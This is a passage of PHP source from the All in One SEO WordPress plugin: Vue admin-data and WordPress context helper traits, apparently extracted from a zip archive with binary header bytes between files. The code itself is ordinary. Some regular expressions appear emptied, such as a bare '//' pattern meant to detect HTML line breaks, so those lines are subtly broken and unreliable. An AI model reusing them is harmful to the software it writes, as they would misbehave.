return $url; } /** * Builds a URL from a parse_url array. * * @since 4.2.5 * * @param array $params The params array. * @param array $include The keys to include [scheme, user, pass, host, port, path, query, fragment]. * @param array $exclude The keys to exclude [scheme, user, pass, host, port, path, query, fragment]. * @return string The built url. */ public function buildUrl( $params, $include = [], $exclude = [] ) { if ( ! is_array( $params ) ) { return $params; } if ( ! empty( $include ) ) { foreach ( array_keys( $params ) as $includeKey ) { if ( ! in_array( $includeKey, $include, true ) ) { unset( $params[ $includeKey ] ); } } } if ( ! empty( $exclude ) ) { foreach ( array_keys( $params ) as $excludeKey ) { if ( in_array( $excludeKey, $exclude, true ) ) { unset( $params[ $excludeKey ] ); } } } $url = ''; if ( ! empty( $params['scheme'] ) ) { $url .= $params['scheme'] . '://'; } if ( ! empty( $params['user'] ) ) { $url .= $params['user']; if ( isset( $params['pass'] ) ) { $url .= ':' . $params['pass']; } $url .= '@'; } if ( ! empty( $params['host'] ) ) { $url .= $params['host']; } if ( ! empty( $params['port'] ) ) { $url .= ':' . $params['port']; } if ( ! empty( $params['path'] ) ) { $url .= $params['path']; } if ( ! empty( $params['query'] ) ) { $url .= '?' . $params['query']; } if ( ! empty( $params['fragment'] ) ) { $url .= '#' . $params['fragment']; } return $url; } }PKÉ—[«1†``5all-in-one-seo-pack/app/Common/Traits/Helpers/Vue.phpnu„[µü¤args = compact( 'page', 'staticPostId', 'integration' ); $hash = md5( implode( '', array_map( 'strval', $this->args ) ) ); if ( isset( $this->cache[ $hash ] ) ) { return $this->cache[ $hash ]; } // Clear the data so we start fresh. $this->data = []; $this->setInitialData(); $this->setMultisiteData(); $this->setPostData(); $this->setDashboardData(); $this->setSearchStatisticsData(); $this->setSitemapsData(); $this->setSetupWizardData(); $this->setSearchAppearanceData(); $this->setSocialNetworksData(); $this->setSeoRevisionsData(); $this->setToolsOrSettingsData(); $this->setPageBuilderData(); $this->cache[ $hash ] = $this->data; return $this->cache[ $hash ]; } /** * Set Vue initial data. * * @since 4.4.9 * * @return void */ private function setInitialData() { $screen = aioseo()->helpers->getCurrentScreen(); $isStaticHomePage = 'page' === get_option( 'show_on_front' ); $staticHomePage = intval( get_option( 'page_on_front' ) ); $this->data = [ 'page' => $this->args['page'], 'screen' => [ 'base' => isset( $screen->base ) ? $screen->base : '', 'postType' => isset( $screen->post_type ) ? $screen->post_type : '', 'blockEditor' => isset( $screen->is_block_editor ) ? $screen->is_block_editor : false, 'new' => isset( $screen->action ) && 'add' === $screen->action ], 'internalOptions' => aioseo()->internalOptions->all(), 'options' => aioseo()->options->all(), 'dynamicOptions' => aioseo()->dynamicOptions->all(), 'deprecatedOptions' => aioseo()->internalOptions->getAllDeprecatedOptions( true ), 'settings' => aioseo()->settings->all(), 'tags' => aioseo()->tags->all( true ), 'nonce' => wp_create_nonce( 'wp_rest' ), 'urls' => [ 'domain' => $this->getSiteDomain(), 'mainSiteUrl' => $this->getSiteUrl(), 'siteLogo' => aioseo()->helpers->getSiteLogoUrl(), 'home' => home_url(), 'restUrl' => aioseo()->helpers->getRestUrl(), 'editScreen' => admin_url( 'edit.php' ), 'publicPath' => aioseo()->core->assets->normalizeAssetsHost( plugin_dir_url( AIOSEO_FILE ) ), 'assetsPath' => aioseo()->core->assets->getAssetsPath(), 'generalSitemapUrl' => aioseo()->sitemap->helpers->getUrl( 'general' ), 'rssSitemapUrl' => aioseo()->sitemap->helpers->getUrl( 'rss' ), 'robotsTxtUrl' => $this->getSiteUrl() . '/robots.txt', 'blockedBotsLogUrl' => wp_upload_dir()['baseurl'] . '/aioseo/logs/aioseo-bad-bot-blocker.log', 'upgradeUrl' => apply_filters( 'aioseo_upgrade_link', AIOSEO_MARKETING_URL ), 'staticHomePage' => 'page' === get_option( 'show_on_front' ) ? get_edit_post_link( get_option( 'page_on_front' ), 'url' ) : null, 'feeds' => [ 'rdf' => get_bloginfo( 'rdf_url' ), 'rss' => get_bloginfo( 'rss_url' ), 'atom' => get_bloginfo( 'atom_url' ), 'global' => get_bloginfo( 'rss2_url' ), 'globalComments' => get_bloginfo( 'comments_rss2_url' ), 'staticBlogPage' => $this->getBlogPageId() ? trailingslashit( get_permalink( $this->getBlogPageId() ) ) . 'feed' : '' ], 'connect' => add_query_arg( [ 'siteurl' => site_url(), 'homeurl' => home_url(), 'redirect' => rawurldecode( base64_encode( admin_url( 'index.php?page=aioseo-connect' ) ) ) ], defined( 'AIOSEO_CONNECT_URL' ) ? AIOSEO_CONNECT_URL : 'https://connect.aioseo.com' ), 'aio' => [ 'about' => is_network_admin() ? network_admin_url( 'admin.php?page=aioseo-about' ) : admin_url( 'admin.php?page=aioseo-about' ), 'dashboard' => admin_url( 'admin.php?page=aioseo' ), 'featureManager' => admin_url( 'admin.php?page=aioseo-feature-manager' ), 'linkAssistant' => admin_url( 'admin.php?page=aioseo-link-assistant' ), 'localSeo' => admin_url( 'admin.php?page=aioseo-local-seo' ), 'monsterinsights' => admin_url( 'admin.php?page=aioseo-monsterinsights' ), 'redirects' => admin_url( 'admin.php?page=aioseo-redirects' ), 'searchAppearance' => admin_url( 'admin.php?page=aioseo-search-appearance' ), 'searchStatistics' => admin_url( 'admin.php?page=aioseo-search-statistics' ), 'seoAnalysis' => admin_url( 'admin.php?page=aioseo-seo-analysis' ), 'settings' => admin_url( 'admin.php?page=aioseo-settings' ), 'sitemaps' => admin_url( 'admin.php?page=aioseo-sitemaps' ), 'socialNetworks' => admin_url( 'admin.php?page=aioseo-social-networks' ), 'tools' => admin_url( 'admin.php?page=aioseo-tools' ), 'wizard' => admin_url( 'index.php?page=aioseo-setup-wizard' ), 'networkSettings' => is_network_admin() ? network_admin_url( 'admin.php?page=aioseo-settings' ) : '', 'seoRevisions' => admin_url( 'admin.php?page=aioseo-seo-revisions' ), ], 'admin' => [ 'widgets' => admin_url( 'widgets.php' ), 'optionsReading' => admin_url( 'options-reading.php' ), 'scheduledActions' => admin_url( '/tools.php?page=action-scheduler&status=pending&s=aioseo' ), 'generalSettings' => admin_url( 'options-general.php' ) ], 'truSeoWorker' => aioseo()->core->assets->jsUrl( 'src/app/tru-seo/analyzer/main.js' ) ], 'backups' => [], 'importers' => [], 'data' => [ 'server' => aioseo()->helpers->getServerName(), 'robots' => [ 'defaultRules' => [], 'hasPhysicalRobots' => null, 'rewriteExists' => null, 'sitemapUrls' => [] ], 'logSizes' => [ 'badBotBlockerLog' => null ], 'status' => [], 'htaccess' => '', 'isMultisite' => is_multisite(), 'isNetworkAdmin' => is_network_admin(), 'currentBlogId' => get_current_blog_id(), 'mainSite' => is_main_site(), 'subdomain' => $this->isSubdomain(), 'isWooCommerceActive' => $this->isWooCommerceActive(), 'isBBPressActive' => class_exists( 'bbPress' ), 'staticHomePage' => $isStaticHomePage ? $staticHomePage : false, 'staticBlogPage' => $this->getBlogPageId(), 'staticBlogPageTitle' => get_the_title( $this->getBlogPageId() ), 'isDev' => $this->isDev(), 'isSsl' => is_ssl(), 'hasUrlTrailingSlash' => '/' === user_trailingslashit( '' ), 'permalinkStructure' => get_option( 'permalink_structure' ), 'dateFormat' => get_option( 'date_format' ), 'timeFormat' => get_option( 'time_format' ) ], 'user' => [ 'canManage' => aioseo()->access->canManage(), 'capabilities' => aioseo()->access->getAllCapabilities(), 'customRoles' => $this->getCustomRoles(), 'data' => wp_get_current_user(), 'locale' => function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale(), 'roles' => $this->getUserRoles(), 'unfilteredHtml' => current_user_can( 'unfiltered_html' ) ], 'plugins' => $this->getPluginData(), 'postData' => [ 'postTypes' => $this->getPublicPostTypes( false, false, true ), 'taxonomies' => $this->getPublicTaxonomies( false, true ), 'archives' => $this->getPublicPostTypes( false, true, true ), 'postStatuses' => $this->getPublicPostStatuses() ], 'notifications' => array_merge( Models\Notification::getNotifications( false ), [ 'force' => $this->showNotificationsDrawer() ] ), 'addons' => aioseo()->addons->getAddons(), 'features' => aioseo()->features->getFeatures(), 'version' => AIOSEO_VERSION, 'wpVersion' => get_bloginfo( 'version' ), 'helpPanel' => aioseo()->help->getDocs(), 'scheduledActions' => [ 'sitemaps' => [] ], 'integration' => $this->args['integration'], 'theme' => [ 'features' => aioseo()->helpers->getThemeFeatures() ] ]; } /** * Set Vue multisite data. * * @since 4.4.9 * * @return void */ private function setMultisiteData() { if ( ! is_multisite() ) { return; } $this->data['internalNetworkOptions'] = aioseo()->internalNetworkOptions->all(); $this->data['networkOptions'] = aioseo()->networkOptions->all(); } /** * Set Vue post data. * * @since 4.4.9 * * @return void */ private function setPostData() { if ( 'post' !== $this->args['page'] ) { return; } $postId = $this->args['staticPostId'] ?: get_the_ID(); $postTypeObj = get_post_type_object( get_post_type( $postId ) ); $post = Models\Post::getPost( $postId ); $wpPost = get_post( $postId ); $staticHomePage = intval( get_option( 'page_on_front' ) ); $this->data['currentPost'] = [ 'context' => 'post', 'tags' => aioseo()->tags->getDefaultPostTags( $postId ), 'id' => $postId, 'priority' => isset( $post->priority ) && 'default' !== $post->priority ? $post->priority : 'default', 'frequency' => ! empty( $post->frequency ) ? $post->frequency : 'default', 'permalink' => get_permalink( $postId ), 'editlink' => aioseo()->helpers->getPostEditLink( $postId ), 'title' => ! empty( $post->title ) ? $post->title : aioseo()->meta->title->getPostTypeTitle( $postTypeObj->name ), 'description' => ! empty( $post->description ) ? $post->description : aioseo()->meta->description->getPostTypeDescription( $postTypeObj->name ), 'descriptionIncludeCustomFields' => apply_filters( 'aioseo_description_include_custom_fields', true, $post ), 'keywords' => ! empty( $post->keywords ) ? $post->keywords : wp_json_encode( [] ), 'keyphrases' => Models\Post::getKeyphrasesDefaults( $post->keyphrases ), 'page_analysis' => ! empty( $post->page_analysis ) ? json_decode( $post->page_analysis ) : Models\Post::getPageAnalysisDefaults(), 'loading' => [ 'focus' => false, 'additional' => [], ], 'type' => $postTypeObj->labels->singular_name, 'postType' => 'type' === $postTypeObj->name ? '_aioseo_type' : $postTypeObj->name, 'postStatus' => get_post_status( $postId ), 'postAuthor' => (int) $wpPost->post_author, 'isSpecialPage' => $this->isSpecialPage( $postId ), 'isStaticPostsPage' => aioseo()->helpers->isStaticPostsPage(), 'isHomePage' => $postId === $staticHomePage, 'isWooCommercePageWithoutSchema' => $this->isWooCommercePageWithoutSchema( $postId ), 'seo_score' => (int) $post->seo_score, 'pillar_content' => ( (int) $post->pillar_content ) === 0 ? false : true, 'canonicalUrl' => $post->canonical_url, 'default' => ( (int) $post->robots_default ) === 0 ? false : true, 'noindex' => ( (int) $post->robots_noindex ) === 0 ? false : true, 'noarchive' => ( (int) $post->robots_noarchive ) === 0 ? false : true, 'nosnippet' => ( (int) $post->robots_nosnippet ) === 0 ? false : true, 'nofollow' => ( (int) $post->robots_nofollow ) === 0 ? false : true, 'noimageindex' => ( (int) $post->robots_noimageindex ) === 0 ? false : true, 'noodp' => ( (int) $post->robots_noodp ) === 0 ? false : true, 'notranslate' => ( (int) $post->robots_notranslate ) === 0 ? false : true, 'maxSnippet' => null === $post->robots_max_snippet ? - 1 : (int) $post->robots_max_snippet, 'maxVideoPreview' => null === $post->robots_max_videopreview ? - 1 : (int) $post->robots_max_videopreview, 'maxImagePreview' => $post->robots_max_imagepreview, 'modalOpen' => false, 'generalMobilePrev' => false, 'og_object_type' => ! empty( $post->og_object_type ) ? $post->og_object_type : 'default', 'og_title' => $post->og_title, 'og_description' => $post->og_description, 'og_image_custom_url' => $post->og_image_custom_url, 'og_image_custom_fields' => $post->og_image_custom_fields, 'og_image_type' => ! empty( $post->og_image_type ) ? $post->og_image_type : 'default', 'og_video' => ! empty( $post->og_video ) ? $post->og_video : '', 'og_article_section' => ! empty( $post->og_article_section ) ? $post->og_article_section : '', 'og_article_tags' => ! empty( $post->og_article_tags ) ? $post->og_article_tags : wp_json_encode( [] ), 'twitter_use_og' => ( (int) $post->twitter_use_og ) === 0 ? false : true, 'twitter_card' => $post->twitter_card, 'twitter_image_custom_url' => $post->twitter_image_custom_url, 'twitter_image_custom_fields' => $post->twitter_image_custom_fields, 'twitter_image_type' => $post->twitter_image_type, 'twitter_title' => $post->twitter_title, 'twitter_description' => $post->twitter_description, 'schema' => ( ! empty( $post->schema ) ) ? Models\Post::getDefaultSchemaOptions( $post->schema, aioseo()->helpers->getPost( $postId ) ) : Models\Post::getDefaultSchemaOptions( '', aioseo()->helpers->getPost( $postId ) ), 'metaDefaults' => [ 'title' => aioseo()->meta->title->getPostTypeTitle( $postTypeObj->name ), 'description' => aioseo()->meta->description->getPostTypeDescription( $postTypeObj->name ) ], 'linkAssistant' => [ 'modalOpen' => false ], 'limit_modified_date' => ( (int) $post->limit_modified_date ) === 0 ? false : true, 'redirects' => [ 'modalOpen' => false ], 'options' => $post->options ]; if ( empty( $this->args['integration'] ) ) { $this->data['integration'] = aioseo()->helpers->getPostPageBuilderName( $postId ); } if ( ! $post->exists() ) { $oldPostMeta = aioseo()->migration->meta->getMigratedPostMeta( $postId ); foreach ( $oldPostMeta as $k => $v ) { if ( preg_match( '#robots_.*#', $k ) ) { $oldPostMeta[ preg_replace( '#robots_#', '', $k ) ] = $v; continue; } if ( 'canonical_url' === $k ) { $oldPostMeta['canonicalUrl'] = $v; } } $this->data['currentPost'] = array_merge( $this->data['currentPost'], $oldPostMeta ); } } /** * Set Vue dashboard data. * * @since 4.4.9 * * @return void */ private function setDashboardData() { if ( 'dashboard' !== $this->args['page'] ) { return; } $this->data['setupWizard']['isCompleted'] = aioseo()->standalone->setupWizard->isCompleted(); $this->data['seoOverview'] = aioseo()->postSettings->getPostTypesOverview(); $this->data['importers'] = aioseo()->importExport->plugins(); } /** * Set Vue search statistics data. * * @since 4.4.9 * * @return void */ private function setSearchStatisticsData() { if ( 'search-statistics' !== $this->args['page'] ) { return; } $this->data['seoOverview'] = aioseo()->postSettings->getPostTypesOverview(); $this->data['searchStatistics'] = aioseo()->searchStatistics->getVueData(); } /** * Set Vue sitemaps data. * * @since 4.4.9 * * @return void */ private function setSitemapsData() { if ( 'sitemaps' !== $this->args['page'] ) { return; } try { if ( as_next_scheduled_action( 'aioseo_static_sitemap_regeneration' ) ) { $this->data['scheduledActions']['sitemap'][] = 'staticSitemapRegeneration'; } } catch ( \Exception $e ) { // Do nothing. } } /** * Set Vue setup wizard data. * * @since 4.4.9 * * @return void */ private function setSetupWizardData() { if ( 'setup-wizard' !== $this->args['page'] ) { return; } $isStaticHomePage = 'page' === get_option( 'show_on_front' ); $staticHomePage = intval( get_option( 'page_on_front' ) ); $this->data['users'] = $this->getSiteUsers( [ 'administrator', 'editor', 'author' ] ); $this->data['importers'] = aioseo()->importExport->plugins(); $this->data['data'] += [ 'staticHomePageTitle' => $isStaticHomePage ? aioseo()->meta->title->getTitle( $staticHomePage ) : '', 'staticHomePageDescription' => $isStaticHomePage ? aioseo()->meta->description->getDescription( $staticHomePage ) : '', ]; } /** * Set Vue search appearance data. * * @since 4.4.9 * * @return void */ private function setSearchAppearanceData() { if ( 'search-appearance' !== $this->args['page'] ) { return; } $isStaticHomePage = 'page' === get_option( 'show_on_front' ); $staticHomePage = intval( get_option( 'page_on_front' ) ); $this->data['users'] = $this->getSiteUsers( [ 'administrator', 'editor', 'author' ] ); $this->data['data'] += [ 'staticHomePageTitle' => $isStaticHomePage ? aioseo()->meta->title->getTitle( $staticHomePage ) : '', 'staticHomePageDescription' => $isStaticHomePage ? aioseo()->meta->description->getDescription( $staticHomePage ) : '', ]; } /** * Set Vue social networks data. * * @since 4.4.9 * * @return void */ private function setSocialNetworksData() { if ( 'social-networks' !== $this->args['page'] ) { return; } $isStaticHomePage = 'page' === get_option( 'show_on_front' ); $staticHomePage = intval( get_option( 'page_on_front' ) ); $this->data['data'] += [ 'staticHomePageOgTitle' => $isStaticHomePage ? aioseo()->social->facebook->getTitle( $staticHomePage ) : '', 'staticHomePageOgDescription' => $isStaticHomePage ? aioseo()->social->facebook->getDescription( $staticHomePage ) : '', 'staticHomePageTwitterTitle' => $isStaticHomePage ? aioseo()->social->twitter->getTitle( $staticHomePage ) : '', 'staticHomePageTwitterDescription' => $isStaticHomePage ? aioseo()->social->twitter->getDescription( $staticHomePage ) : '', ]; } /** * Set Vue seo revisions data. * * @since 4.4.9 * * @return void */ private function setSeoRevisionsData() { if ( 'post' === $this->args['page'] ) { $this->data['seoRevisions'] = aioseo()->seoRevisions->getVueDataEdit(); } if ( 'seo-revisions' === $this->args['page'] ) { $this->data['seoRevisions'] = aioseo()->seoRevisions->getVueDataCompare(); } } /** * Set Vue tools or settings data. * * @since 4.4.9 * * @return void */ private function setToolsOrSettingsData() { if ( 'tools' !== $this->args['page'] && 'settings' !== $this->args['page'] ) { return; } if ( 'tools' === $this->args['page'] ) { $this->data['backups'] = array_reverse( aioseo()->backup->all() ); $this->data['importers'] = aioseo()->importExport->plugins(); $this->data['data']['robots'] = [ 'defaultRules' => $this->args['page'] ? aioseo()->robotsTxt->extractRules( aioseo()->robotsTxt->getDefaultRobotsTxtContent() ) : [], 'hasPhysicalRobots' => aioseo()->robotsTxt->hasPhysicalRobotsTxt(), 'rewriteExists' => aioseo()->robotsTxt->rewriteRulesExist(), 'sitemapUrls' => array_merge( aioseo()->sitemap->helpers->getSitemapUrls(), aioseo()->sitemap->helpers->extractSitemapUrlsFromRobotsTxt() ) ]; $this->data['data']['logSizes'] = [ 'badBotBlockerLog' => $this->convertFileSize( aioseo()->badBotBlocker->getLogSize() ) ]; $this->data['data']['status'] = Tools\SystemStatus::getSystemStatusInfo(); $this->data['data']['htaccess'] = aioseo()->htaccess->getContents(); $this->data['data']['v3Options'] = ! empty( get_option( 'aioseop_options' ) ); $this->data['integrations']['wpcode'] = [ 'snippets' => WpCodeIntegration::loadWpCodeSnippets(), 'pluginInstalled' => WpCodeIntegration::isPluginInstalled(), 'pluginActive' => WpCodeIntegration::isPluginActive(), 'pluginNeedsUpdate' => WpCodeIntegration::pluginNeedsUpdate() ]; } if ( 'settings' === $this->args['page'] ) { $this->data['breadcrumbs']['defaultTemplate'] = aioseo()->helpers->encodeOutputHtml( aioseo()->breadcrumbs->frontend->getDefaultTemplate() ); } if ( is_multisite() && is_network_admin() ) { $this->data['data']['network'] = [ 'sites' => aioseo()->helpers->getSites( aioseo()->settings->tablePagination['networkDomains'] ), 'backups' => [] ]; } } /** * Set Vue Page Builder data. * * @since 4.4.9 * @version 4.5.2 Renamed. * * @return void */ private function setPageBuilderData() { if ( empty( $this->args['integration'] ) ) { return; } if ( 'divi' === $this->args['integration'] ) { // This needs to be dropped in order to prevent JavaScript errors in Divi's visual builder. // Some of the data from the site analysis can contain HTML tags, e.g. the search preview, and somehow that causes JSON.parse to fail on our localized Vue data. unset( $this->data['internalOptions']['internal']['siteAnalysis'] ); } } /** * Returns Jed-formatted localization data. Added for backwards-compatibility. * * @since 4.0.0 * * @param string $domain Translation domain. * @return array The information of the locale. */ public function getJedLocaleData( $domain ) { $translations = get_translations_for_domain( $domain ); $locale = [ '' => [ 'domain' => $domain, 'lang' => is_admin() && function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale(), ], ]; if ( ! empty( $translations->headers['Plural-Forms'] ) ) { $locale['']['plural_forms'] = $translations->headers['Plural-Forms']; } foreach ( $translations->entries as $entry ) { if ( empty( $entry->translations ) || ! is_array( $entry->translations ) ) { continue; } foreach ( $entry->translations as $translation ) { // If any of the translated strings contains an HTML line break, we need to ignore it. Otherwise, logging into the admin breaks. if ( preg_match( '//', $translation ) ) { continue 2; } } // Set the translation data using the singular string as the index. This is how Jed expects it, even for plural strings. $locale[ $entry->singular ] = $entry->translations; } return $locale; } /** * Whether the notifications drawer should be shown or not. * * @since 4.4.9 * * @return bool True if it should be shown, false otherwise. */ private function showNotificationsDrawer() { static $showNotificationsDrawer = null; if ( null === $showNotificationsDrawer ) { $showNotificationsDrawer = (bool) aioseo()->core->cache->get( 'show_notifications_drawer' ); // If this is set to true, let's disable it now, so it doesn't pop up again. if ( $showNotificationsDrawer ) { aioseo()->core->cache->delete( 'show_notifications_drawer' ); } } return $showNotificationsDrawer; } }PKÉ—[@¡¾<êZêZ;all-in-one-seo-pack/app/Common/Traits/Helpers/WpContext.phpnu„[µü¤getHomePageId(); return $homePageId ? get_post( $homePageId ) : null; } /** * Get the ID of the home page. * * @since 4.0.0 * * @return int|null The home page ID. */ public function getHomePageId() { $pageShowOnFront = ( 'page' === get_option( 'show_on_front' ) ); $pageOnFrontId = get_option( 'page_on_front' ); return $pageShowOnFront && $pageOnFrontId ? (int) $pageOnFrontId : null; } /** * Returns the blog page. * * @since 4.0.0 * * @return \WP_Post|null The blog page. */ public function getBlogPage() { $blogPageId = $this->getBlogPageId(); return $blogPageId ? get_post( $blogPageId ) : null; } /** * Gets the current blog page id if it's configured. * * @since 4.1.1 * * @return int|null */ public function getBlogPageId() { $pageShowOnFront = ( 'page' === get_option( 'show_on_front' ) ); $blogPageId = (int) get_option( 'page_for_posts' ); return $pageShowOnFront && $blogPageId ? $blogPageId : null; } /** * Checks whether the current page is a taxonomy term archive. * * @since 4.0.0 * * @return bool Whether the current page is a taxonomy term archive. */ public function isTaxTerm() { $object = get_queried_object(); return $object instanceof \WP_Term; } /** * Checks whether the current page is a static one. * * @since 4.0.0 * * @return bool Whether the current page is a static one. */ public function isStaticPage() { return $this->isStaticHomePage() || $this->isStaticPostsPage() || $this->isWooCommerceShopPage(); } /** * Checks whether the current page is the static homepage. * * @since 4.0.0 * * @param mixed $post Pass in an optional post to check if its the static home page. * @return bool Whether the current page is the static homepage. */ public function isStaticHomePage( $post = null ) { static $isHomePage = null; if ( null !== $isHomePage ) { return $isHomePage; } $post = aioseo()->helpers->getPost( $post ); $isHomePage = ( 'page' === get_option( 'show_on_front' ) && ! empty( $post->ID ) && (int) get_option( 'page_on_front' ) === $post->ID ); return $isHomePage; } /** * Checks whether the current page is the dynamic homepage. * * @since 4.2.3 * * @return bool Whether the current page is the dynamic homepage. */ public function isDynamicHomePage() { return is_front_page() && is_home(); } /** * Checks whether the current page is the static posts page. * * @since 4.0.0 * * @return bool Whether the current page is the static posts page. */ public function isStaticPostsPage( $post = null ) { static $isStaticPostsPage = null; if ( null !== $isStaticPostsPage ) { return $isStaticPostsPage; } $post = aioseo()->helpers->getPost( $post ); $isStaticPostsPage = ( ( is_home() && ( 0 !== (int) get_option( 'page_for_posts' ) ) ) || ( ! empty( $post->ID ) && (int) get_option( 'page_for_posts' ) === $post->ID ) ); return $isStaticPostsPage; } /** * Checks whether current page supports meta. * * @since 4.0.0 * * @return bool Whether the current page supports meta. */ public function supportsMeta() { return ! is_date() && ! is_author() && ! is_search() && ! is_404(); } /** * Returns the current post object. * * @since 4.0.0 * * @param \WP_Post|int|bool $postId The post ID. * @return \WP_Post|null The post object. */ public function getPost( $postId = false ) { $postId = is_a( $postId, 'WP_Post' ) ? $postId->ID : $postId; if ( aioseo()->helpers->isWooCommerceShopPage( $postId ) ) { return get_post( wc_get_page_id( 'shop' ) ); } if ( is_front_page() || is_home() ) { $showOnFront = 'page' === get_option( 'show_on_front' ); if ( $showOnFront ) { if ( is_front_page() ) { $pageOnFront = (int) get_option( 'page_on_front' ); return get_post( $pageOnFront ); } elseif ( is_home() ) { $pageForPosts = (int) get_option( 'page_for_posts' ); return get_post( $pageForPosts ); } } } // Learnpress lessons load the course. So here we need to switch to the lesson. $learnPressLesson = aioseo()->helpers->getLearnPressLesson(); if ( ! $postId && $learnPressLesson ) { $postId = $learnPressLesson; } // Allow other plugins to filter the post ID e.g. for a special archive page. $postId = apply_filters( 'aioseo_get_post_id', $postId ); // We need to check these conditions and cannot always return get_post() because we'll return the first post on archive pages (dynamic homepage, term pages, etc.). if ( $this->isScreenBase( 'post' ) || $postId || is_singular() ) { return get_post( $postId ); } return null; } /** * Returns the current post ID. * * @since 4.3.1 * * @return int|null The post ID. */ public function getPostId() { $post = $this->getPost(); return is_object( $post ) && property_exists( $post, 'ID' ) ? $post->ID : null; } /** * Returns the post content after parsing it. * * @since 4.1.5 * * @param \WP_Post|int $post The post (optional). * @return string The post content. */ public function getPostContent( $post = null ) { $post = is_a( $post, 'WP_Post' ) ? $post : $this->getPost( $post ); static $content = []; if ( isset( $content[ $post->ID ] ) ) { return $content[ $post->ID ]; } // We need to process the content for page builders. $postContent = $post->post_content; $pageBuilder = aioseo()->helpers->getPostPageBuilderName( $post->ID ); if ( ! empty( $pageBuilder ) ) { $postContent = aioseo()->standalone->pageBuilderIntegrations[ $pageBuilder ]->processContent( $post->ID, $postContent ); } $content[ $post->ID ] = $this->theContent( $postContent ); if ( apply_filters( 'aioseo_description_include_custom_fields', true, $post ) ) { $content[ $post->ID ] .= $this->theContent( $this->getPostCustomFieldsContent( $post ) ); } return $content[ $post->ID ]; } /** * Gets the content from configured custom fields. * * @since 4.2.7 * * @param \WP_Post|int $post A post object or ID. * @return string The content. */ public function getPostCustomFieldsContent( $post = null ) { $post = is_a( $post, 'WP_Post' ) ? $post : $this->getPost( $post ); if ( ! aioseo()->dynamicOptions->searchAppearance->postTypes->has( $post->post_type ) ) { return ''; } $customFieldKeys = aioseo()->dynamicOptions->searchAppearance->postTypes->{$post->post_type}->customFields; if ( empty( $customFieldKeys ) ) { return ''; } $customFieldKeys = explode( ' ', sanitize_text_field( $customFieldKeys ) ); return aioseo()->helpers->getCustomFieldsContent( $post, $customFieldKeys ); } /** * Returns the post content after parsing shortcodes and blocks. * We avoid using the "the_content" hook because it breaks stuff if we call it outside the loop or main query. * See https://developer.wordpress.org/reference/hooks/the_content/ * * @since 4.1.5.2 * * @param string $postContent The post content. * @return string The parsed post content. */ public function theContent( $postContent ) { if ( ! aioseo()->options->searchAppearance->advanced->runShortcodes ) { return $postContent; } // Because do_blocks() and do_shortcodes() can trigger conflicts, we need to clone these objects and restore them afterwards. // We need to clone deep to sever pointers/references because these have nested object properties. global $wp_query, $post; $this->originalQuery = $this->deepClone( $wp_query ); $this->originalPost = is_a( $post, 'WP_Post' ) ? $this->deepClone( $post ) : null; // The order of the function calls below is intentional and should NOT change. $postContent = do_blocks( $postContent ); $postContent = wpautop( $postContent ); $postContent = $this->doShortcodes( $postContent ); $this->restoreWpQuery(); return $postContent; } /** * Returns the description based on the post content. * * @since 4.0.0 * * @param \WP_Post|int $post The post (optional). * @return string The description. */ public function getDescriptionFromContent( $post = null ) { $post = is_a( $post, 'WP_Post' ) ? $post : $this->getPost( $post ); static $content = []; if ( isset( $content[ $post->ID ] ) ) { return $content[ $post->ID ]; } $content[ $post->ID ] = ''; if ( ! empty( $post->post_password ) ) { return $content[ $post->ID ]; } $postContent = $this->getPostContent( $post ); // Strip images, captions and WP oembed wrappers (e.g. YouTube URLs) from the post content. $postContent = preg_replace( '/(||.*?<\/div>)/s', '', $postContent ); $postContent = str_replace( ']]>', ']]>', $postContent ); $postContent = trim( wp_strip_all_tags( strip_shortcodes( $postContent ) ) ); $content[ $post->ID ] = wp_trim_words( $postContent, 55, '' ); return $content[ $post->ID ]; } /** * Returns custom fields as a string. * * @since 4.0.6 * * @param \WP_Post|int $post The post. * @param array $keys The post meta_keys to check for values. * @return string The custom field content. */ public function getCustomFieldsContent( $post = null, $keys = [] ) { $post = is_a( $post, 'WP_Post' ) ? $post : $this->getPost( $post ); $customFieldContent = ''; $acfFields = $this->getAcfContent( $post ); foreach ( $keys as $key ) { // Try ACF. if ( isset( $acfFields[ $key ] ) ) { $customFieldContent .= "$acfFields[$key] "; continue; } // Fallback to post meta. $value = get_post_meta( $post->ID, $key, true ); if ( $value && is_scalar( $value ) ) { $customFieldContent .= $value . ' '; } } return $customFieldContent; } /** * Returns if the page is a special type (WooCommerce pages, Privacy page). * * @since 4.0.0 * * @param int $postId The post ID. * @return bool If the page is special or not. */ public function isSpecialPage( $postId = 0 ) { if ( (int) get_option( 'page_for_posts' ) === (int) $postId || (int) get_option( 'wp_page_for_privacy_policy' ) === (int) $postId || $this->isBuddyPressPage( $postId ) || $this->isWooCommercePage( $postId ) ) { return true; } return false; } /** * Returns the page number of the current page. * * @since 4.0.0 * * @return int The page number. */ public function getPageNumber() { $page = get_query_var( 'page' ); if ( ! empty( $page ) ) { return (int) $page; } $paged = get_query_var( 'paged' ); if ( ! empty( $paged ) ) { return (int) $paged; } return 1; } /** * Returns the page number for the comment page. * * @since 4.2.1 * * @return int|false The page number or false if we're not on a comment page. */ public function getCommentPageNumber() { $cpage = get_query_var( 'cpage', null ); if ( $this->isBlockTheme() ) { global $wp_query; // For block themes we can't rely on `get_query_var()` because of {@see build_comment_query_vars_from_block()}, // so we need to check the query directly. $cpage = $wp_query->query['cpage'] ?? null; } return isset( $cpage ) ? (int) $cpage : false; } /** * Check if the post passed in is a valid post, not a revision or autosave. * * @since 4.0.5 * * @param \WP_Post $post The Post object to check. * @param array $allowedPostStatuses Allowed post statuses. * @return bool True if valid, false if not. */ public function isValidPost( $post, $allowedPostStatuses = [ 'publish' ] ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return false; } if ( ! is_object( $post ) ) { $post = get_post( $post ); } // No post, no go. if ( empty( $post ) ) { return false; } // In order to prevent recursion, we are skipping scheduled-action posts and revisions. if ( 'scheduled-action' === $post->post_type || 'revision' === $post->post_type ) { return false; } // Ensure this post has the proper post status. if ( ! in_array( $post->post_status, $allowedPostStatuses, true ) && ! in_array( 'all', $allowedPostStatuses, true ) ) { return false; } return true; } /** * Checks whether the given URL is a valid attachment. * * @since 4.0.13 * * @param string $url The URL. * @return bool Whether the URL is a valid attachment. */ public function isValidAttachment( $url ) { $uploadDirUrl = aioseo()->helpers->escapeRegex( $this->getWpContentUrl() ); return preg_match( "/$uploadDirUrl.*/", $url ); } /** * Tries to convert an attachment URL into a post ID. * * This our own optimized version of attachment_url_to_postid(). * * @since 